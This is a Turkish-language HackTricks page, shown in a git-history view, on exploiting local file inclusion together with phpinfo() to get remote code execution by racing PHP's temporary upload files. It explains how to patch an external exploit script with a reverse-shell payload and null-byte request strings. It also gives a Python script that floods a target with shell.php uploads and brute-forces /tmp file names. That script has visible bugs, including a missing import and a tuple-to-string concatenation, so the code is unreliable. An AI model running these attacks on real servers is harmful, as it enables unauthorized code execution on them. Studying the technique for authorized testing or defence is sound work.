hacktricks/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md

79 lines
5.3 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları:
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
* **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimizden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **katkıda bulunun**.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 18:14:16 +00:00
Bu zafiyeti sömürmek için gerekenler: **Bir LFI zafiyeti, phpinfo() fonksiyonunun görüntülendiği bir sayfa, "file\_uploads = on" ve sunucunun "/tmp" dizinine yazabilmesi.**
2022-04-20 19:39:32 +00:00
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
2022-04-20 19:39:32 +00:00
2024-02-10 18:14:16 +00:00
**HTB Öğretici**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
2022-04-20 19:39:32 +00:00
2024-02-10 18:14:16 +00:00
Exploit'i düzeltmeniz gerekiyor (**=>** yerine **=>** değiştirin). Bunu yapmak için:
2022-04-20 19:39:32 +00:00
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
2024-02-10 18:14:16 +00:00
Exploitin başında **payload**'u (örneğin bir php-rev-shell için) değiştirmeniz gerekmektedir, **REQ1**'i (bu phpinfo sayfasına işaret etmeli ve padding dahil edilmelidir, yani: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), ve **LFIREQ**'yi (bu LFI zafiyetine işaret etmelidir, yani: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Null karakteri sömürülürken çift "%" kontrol edin)
2022-04-20 19:39:32 +00:00
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
2024-02-10 18:14:16 +00:00
### Teori
2022-04-20 19:39:32 +00:00
2024-02-10 18:14:16 +00:00
Eğer PHP'de yüklemelere izin veriliyorsa ve bir dosya yüklemeye çalışıyorsanız, bu dosya sunucu isteği işlemeyi bitirene kadar bir geçici dizinde depolanır, ardından bu geçici dosya silinir.
2022-04-20 19:39:32 +00:00
2024-02-10 18:14:16 +00:00
Ardından, web sunucusunda bir LFI zafiyeti bulduysanız, oluşturulan geçici dosyanın adını tahmin etmeye çalışabilir ve dosya silinmeden önce geçici dosyaya erişerek bir RCE'yi sömürebilirsiniz.
2022-04-20 19:39:32 +00:00
2024-02-10 18:14:16 +00:00
**Windows**'ta dosyalar genellikle **C:\Windows\temp\php** dizininde depolanır.
2022-04-20 19:39:32 +00:00
2024-02-10 18:14:16 +00:00
**Linux**'ta dosyanın adı genellikle **rastgele** ve **/tmp** dizininde bulunur. Ad rastgele olduğu için, geçici dosyanın adını **bir yerden çıkarmak gerekmektedir** ve phpconfig() fonksiyonunun içeriğindeki **$\_FILES** değişkeninin değerini okuyarak bunu yapabilirsiniz.
2022-04-20 19:39:32 +00:00
**phpinfo()**
2024-02-10 18:14:16 +00:00
**PHP**, bir **4096B** tampon kullanır ve tampon **dolu olduğunda**, **istemciye gönderilir**. Ardından istemci, büyük başlıklar kullanarak **birçok büyük istek gönderebilir** (php ters shell yüklemek için), geçici dosyanın adının döndürüldüğü **phpinfo()**'nun ilk kısmının gelmesini bekleyebilir ve LFI zafiyetini sömürerek php sunucusu dosyayı silmeden önce geçici dosyaya erişmeye çalışabilir.
2022-04-20 19:39:32 +00:00
2024-02-10 18:14:16 +00:00
**Uzunluğu 6 ise adı tahmin etmek için Python betiği**
2022-04-20 19:39:32 +00:00
```python
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
2024-02-10 18:14:16 +00:00
requests.post('http://target.com/index.php?c=index.php', f)
2022-04-20 19:39:32 +00:00
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
2024-02-10 18:14:16 +00:00
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
2022-04-20 19:39:32 +00:00
print('[x] Something went wrong, please try again')
```
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları:
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
2022-04-28 16:01:33 +00:00
</details>